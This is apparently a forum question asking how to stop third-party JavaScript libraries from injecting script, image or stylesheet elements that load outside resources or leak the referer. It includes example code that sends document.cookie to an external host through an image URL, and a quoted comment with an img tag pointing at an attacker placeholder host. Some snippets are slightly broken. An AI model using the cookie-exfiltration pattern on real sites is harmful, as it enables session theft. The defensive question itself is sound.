9
I understand that we can create and search javascript plugins, analyze the code and make sure that it will not inject anything on the outside page.
But supposing there is some library from which elements <script>
, <link>
, <img>
, <video>
, <audio>
, ...
This can cause the following problems:
- Open security loopholes like injecting "malicious scripts"
- Capture by
referer
the home page - Affect performance
It is possible to prevent an Injete script with document.createElement
(or innerHTML
or document.write
) access to external resources?
Or is it possible for resources to come from outside the allowed domains?
For example, prevent requests from external servers:
Prevent injection of. js files
var inject = document.createElement("script");
inject.src = "//cdn.exemplo.com/script-injetado.js";
document.head.appendChild(test);
Prevent injection of image files and . css
Images, videos, and other similar features can pick up by referer
the source page and in case I want to prevent this to prevent you from knowing the origin page, since it may be a restricted url:
var inject = document.createElement("img");
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);
var inject = document.createElement("link");
inject.rel = "stylesheet";
inject.type = "text/css";
inject.src = "//cdn.exemplo.com/photo.js";
document.head.appendChild(inject);
And how did you quote @mgibsonbr can send data by GET method for example:
var inject = document.createElement("img");
inject.src = "//exemplo.com/imagem.jpg?cookie=" + document.cookie;
document.head.appendChild(inject);
"I know that photos and css won’t run malicious scripts" but they can capture private information from browser and send to external domains. Ex.:
<img src="http://atacante.example.com/kitty.jpg?cookie=algo_roubado_da_pagina_atual">
– mgibsonbr
@mgibsonbr I understand, an example I quoted was the referer. I edited thank you. !
– Guilherme Nascimento